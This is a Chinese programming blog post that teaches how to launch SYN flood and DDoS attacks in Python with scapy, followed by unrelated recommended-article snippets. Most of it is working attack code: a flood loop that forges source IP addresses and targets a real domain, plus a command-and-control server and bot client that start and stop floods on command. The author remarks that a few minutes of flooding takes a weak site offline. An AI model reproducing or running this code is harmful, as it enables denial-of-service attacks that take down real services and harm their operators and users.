Python-DDoS攻击_怎么用python给tcp协议的ip和端口做ddos-程序员宅基地

技术标签: ddos  

 

 

python-DDoS攻击

 

背景:

网络传输层中,一般采用TCP协议,如果要建立连接,客户端会先发送syn包请求,服务器接收,接收后,再传递给客户端ack,syn包,这个时候,客户端再次回应,传回ack包。可是问题就出在,如果我是客户端,只发送一个请求syn包,然后第三次握手的时候,不再往回传ack包,此时服务端是不是就要等待?

在等待的时间里,我是不是可以伪造更多的请求,从而不断消耗服务器的资源,然后直到最后服务器停止服务为止?

上述这种攻击就是syn泛洪攻击。

 

python中scapy库来实现syn泛洪攻击:

python3安装方式:
sudo pip3 install scapy-python3

注意:scapy库的代码必须运行在root权限下

 

基本用法:

from scapy.all import *
#  定义一个syn包,其中的格式如下:IP()/TCP(),IP中的src为自己的伪造的ip,dst为目标ip,
#  TCP中的dport为目标端口号,网络中普遍为80,flages=‘S’这里的s代表设置的是syn包
pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")
#  发送包,直接用send
send(pkt)

 

具体来一个例子:

#!/usr/bin/env python3
import random
import socket
import time
from scapy.all import *

#  定义syn洪流函数,tgt为目标ip,dPort为目标端口
def synFlood(tgt,dPort):
    #  先任意伪造4个ip地址
    srcList = ['11.1.1.2','22.1.1.102','33.1.1.2',
               '125.130.5.199']
    #  选择任意一个端口号
    for sPort in range(1024, 65535):
        index = random.randrange(4)
        #  类似上面那个代码构造IP/TCP包,然后send
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags='S')
        packet = ipLayer/tcpLayer
        send(packet)
  
domain = "www.baidu.com" #定义你想攻击的域名,不建议是百度哈,别怪我没提醒
tgt = socket.gethostbyname(domain)  #利用socket的方法获取域名的ip地址,即dns解析
print(tgt) # 可以打印出来看一下
dPort = 80 # 网络传输常用端口号
synFlood(tgt,dPort) #调用syn洪流函数,然后发送syn包
#  发送完后就可以去看看这个服务器的响应速度了。一般是持续发送几分钟,这个网站就访问不了了
#  前提是这个网站很渣。。哈哈

DDoS攻击

而DDoS攻击是啥?其实就类似上面这个syn洪流,只是DDoS采用的是多个客户端在服务器的命令下,一起像一个网站攻击,类似这样

其实现原理跟syn是一样的,只是他采用了服务端可以直接控制客户端然后发出请求。

具体的服务端与客户端代码我就直接帖上了

服务端:

import socket
import argparse
import threading

socketList = []

#  发送命令到所有的客户机上
def sendCmd(cmd):
    print('Send command....')
    for sock in socketList:
        sock.send(cmd.encode())

#  等待连接,将建立好的连接加入到socketList列表中
def waitConnect(s):
        while True:
            sock, addr = s.accept()
            if sock not in socketList:
                socketList.append(sock)

def main():
    #  创建tcp服务端
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)  #设置端口重用
    s.bind(('0.0.0.0',58868))  
    s.listen(1024)

    #  线程创建等待连接请求
    t = threading.Thread(target=waitConnect, args=(s,))
    t.start()

    print("Wait at least a client connection!")
    while not len(socketList):  # 没有连接则一直等待
        pass
    print("It has been a client connection")

    while True:
        print('='*50)
        #  命令格式
        print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c start"')
        #  等待输入命令
        cmd_str = input('please input cmd:')
        if len(cmd_str):
            if cmd_str[0] == '#':
                sendCmd(cmd_str)

if __name__ == '__main__':
    main()

客户端:

import argparse
import socket
import sys
import os
from multiprocessing import Process
import random
from scapy.all import *

curProcess = None

#  SYN泛洪攻击,就是最开始的那串代码,直接copy过来就好
def synFlood(tgt, dPort):
    print("="*100)
    print("The syn flood is running")
    print('='*100)

    srcList = ['11.1.1.2', '10.1.1.102', '33.1.1.2',
               '125.130.5.199']
    #  任意一个端口号
    for sPort in range(1024, 65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort, flags='S')
        packet = ipLayer / tcpLayer
        send(packet)

def cmdHandle(sock, parser):
    global curProcess
    while True:
        data = sock.recv(1024).decode()
        if len(data) == 0:
            print('The data is empty')
            return
        if data[0] == '#':
            try:
                # 解析命令
                options = parser.parse_args(data[1:].split())

                m_host = options.host
                m_port = options.port
                m_cmd = options.cmd
                # print(m_cmd)

                #  DDOS启动命令
                if m_cmd.lower() == 'start':
                    if curProcess !=None and curProcess.is_alive():
                        curProcess.terminate()
                        curProcess = None
                        os.system('clear')
                    print('The synFlood is start')
                    p = Process(target=synFlood, args = (m_host, m_port))
                    p.start()
                    curProcess = p
                elif m_cmd.lower() == 'stop':
                    if curProcess.is_alive():
                        curProcess.terminate()
                        os.system('clear')
            except:
                print("Failed to perform the command")


def main():
    #  添加需要解析的命令,就是服务器发送过来的命令
    #  命令格式:"#-H xxx.xxx.xxx.xxx -p xxxx -c start"
    p = argparse.ArgumentParser()
    p.add_argument('-H', dest='host', type=str)
    p.add_argument('-p', dest='port',type=int)
    p.add_argument('-c', dest='cmd', type=str)
    print("*" * 40)

    try:
        #  创建socket对象
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # 这里因为是在本地,所以连接的ip地址为本地ip地址127.0.0.1,端口为服务器端口       
        s.connect(('127.0.0.1',58868))  
        
        print('To connected server was success')
        print("=" * 40)

        #  处理命令
        cmdHandle(s, p)

    except Exception as e:
        print('The network connected failed')
        print('please restart the script')
        sys.exit(0)


if __name__ == '__main__':
    main()

然后到这里就可以在本地先开启服务端,再开启客户端来实现了哈

记得用sudo哈

当看到客户端是这样的时候

哈哈,完成了。

 

不过,其实质是跟syn洪流一样哈。只是多了一个包装而已。

 

END

 

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/Aria_Miazzy/article/details/93893901

智能推荐

库_计算机库-程序员宅基地

文章浏览阅读1.2k次。库【1】库的概念1.什么是库库是一个二进制可执行的文件。库需要被载入到内存中才能使用相比较可执行的二进制程序,库是不能单独运行的。windows和linux都有自己的库,不兼容的。2.库的分类1.动态库(共享库)2.静态库区分:通过库的后缀来区分库的类型windowslinux静态库*.lblibxxx.a动态库*.lldlibxxx.so3.库存在的意义库是已经写好的,成熟的,可以复用的代码。其实我们写的很多代码,都是依赖于基础库的,_计算机库

CSS属性中可以继承的有,css中可以继承的属性都有哪些?-程序员宅基地

文章浏览阅读2.7k次。所有元素可继承:visibility、cursor。内联元素可继承:letter-spacing、word-spacing、white-space、line-height、color、font、font-family、font-size、font-style、font-variant、font-weight、text-decoration、text-transform、direction。终端块状..._css继承属性有哪些

Failed to load JavaHL Library._javhl-程序员宅基地

文章浏览阅读379次。安装好svn后,把项目提交到svn的过程中,总是弹出来一个错误的对话框: Failed to load JavaHL Library. These are the errors that were encountered: 从网上查看了一下解决办法, 1.选择window--->preferences->Team->SVN->SVN接口 2.选择SVNKit (Pure J_javhl

计算机的电源结构,DIY硬件之PC电源内部结构探秘:水深不见底-程序员宅基地

文章浏览阅读857次。人们在选购电源的时候,总是把目光放到额定功率、80 Plus认证、模块设计、各路输出等表面的参数。其实,认识电源到一定境界,就会不自觉地追本溯源。双管正激、LLC谐振、单磁放大一个个陌生的名字,却与每一个电源息息相关。如果你连这些名词都搞懂了,那你就能完全了解电源的结构了。一、半桥与正激饭菜可口与否可以尝出来,衣裳漂亮与否可以看出来,电脑快慢与否可以用出来……那电源好坏与否该如何判断?首先看看这两..._电脑电源结构

pycharm安装 numpy 库时出现 error occurred when installing package “numpy“以及解决办法-程序员宅基地

文章浏览阅读2.3w次,点赞66次,收藏269次。今天网上复制了一个代码,其中有个 import numpy as np,运行时提示需要安装 numpy 库,然后我按照网上的方法,按顺序点击 File --> Settings --> Project: pythonProject --> Python Interpreter ,然后找到 + 那里准备添加库,如下: 然后就报error occurred when installing package "numpy" 的错误,搞了半天都没搞定,遂找了一个经......_error occurred when installing

Phonemizer | Python文本语音(音素)表征包_phonemizer详解-程序员宅基地

文章浏览阅读4.8k次,点赞3次,收藏9次。音素音素是构成语音的基本声音,音节和单词建立在音节上。在与语音和语言处理相关的各种应用(例如文本到语音系统)中,将文本从其拼写形式转录为语音字母表是一项重要要求。Phonemizer 是一个精确寻址的 Python 包, 它将文本从其拼写表示转录为语音表示。该包设计用户友好的,并公开了一个高级音素化函数, 支持大约100种不同的语言。phonemizer 使用的默认后端是 eSpeak (Dunn & Vitolins,2019 年),一种基于语言专业知识和手写转录规则的文本转语..._phonemizer详解

随便推点

HDFS详解-程序员宅基地

文章浏览阅读1.3w次,点赞10次,收藏54次。******HDFS基本概念篇******1. HDFS前言设计思想分而治之:将大文件、大批量文件,分布式存放在大量服务器上,以便于采取分而治之的方式对海量数据进行运算分析;在大数据系统中作用:为各类分布式运算框架(如:mapreduce,spark,tez,……)提供数据存储服务重点概念:文件切块,副本存放,元数据2. HDFS的概念和特性首先,它是一个文件系统,用于存储文件,通过统一的命名空间——目录树来定位文件其次,它是分布式的,由很多服务器联合起来实现其_hdfs

SDH8323非隔离12V/15V/18V 300MA DIP7开关电源AC-DC芯片-程序员宅基地

文章浏览阅读259次。SDH8323 在轻载条件下降频工作,优化轻载条件下的转换效率。在极轻载及空载条件下工作于打嗝模式,从而有效地降低系统的待机功耗。SDH8323 是高压启动,内置高压MOSFET的电流模式PWM+PFM控制器,适用于Buck及Buck-Boost拓扑。SDH8323 内部集成了全面的异常状态保护功能,包括VDD欠压保护,VDD过压保护,前沿消隐,过流保护,过温保护等。SDH8323 可通过管脚配置输出电压,12V/15V/18V输出电压可选。12V,15V,18V输出电压三档可调。VDD过压/欠压保护。_sdh8323

C++代码规范-程序员宅基地

文章浏览阅读5.3k次,点赞10次,收藏103次。文章目录一、命名规范1、目录/文件2、函数/接口3、命名空间4、结构体/类5、变量(1)局部变量(2)全局变量(3)静态变量(4)类成员变量(5)类静态变量(6)常量5、宏定义6、枚举一、命名规范对于C++代码,每个人的风格和习惯各不尽相同,但是为了在项目中形成一个统一的,阅读性比较好的代码,这里参考了主要的开源代码、国内外各大厂以及以往的项目经验,这里对C++代码的命名进行了一个约定规范。1、目录/文件规范:使用小写字母、数字、下划线,多个单词间用下划线分隔。原因:Windows对目录和文件是大_c++代码规范

IT运维存在问题及改进_it工作不足-程序员宅基地

文章浏览阅读2.8k次,点赞2次,收藏6次。IT运维管理可能存在的问题1.1 IT运维机制不完善,流程操作层面缺乏统一没有建立起稳定、规范的IT运维机制。现有的IT运维流程的操作层面缺乏统一。如事件单提交之后,事件预判和优先级的设定缺少统一、规范的指导文档,仅以人员的主观经验或约定俗成的方式指导事件的处理过程。有识别但无规范,有处理但无管理,有人员但忙于救火,有工具但支持力度不足。因此,“轻规范、重维护”的IT运维现状容易造成因个体技能差异带来IT运维的不稳定,直接影响维护体系的效果。1.2 经验不少,知识不多,过度依赖核心人员在实际工作中积_it工作不足

ros两轮机器人slam建图、定位、导航仿真_ros两轮差速机器人导航-程序员宅基地

文章浏览阅读389次,点赞7次,收藏11次。ros两轮机器人slam,定位,导航仿真_ros两轮差速机器人导航

vscode全局搜索搜不到node_modules的问题解决_vscode不显示node modules-程序员宅基地

文章浏览阅读972次,点赞6次,收藏8次。方法一:解决方法:同时删掉设置-search.exclude里面的**/node_modules和.gitignore。.gitignore里面也包含了node_modules文件,因此设置也需要删掉这个文件。一开始只试了删除设置-search.exclude里面的**/node_modules,没生效。方法二:在设置-use ignore files取消勾选以下的。_vscode不显示node modules

推荐文章

热门文章

相关标签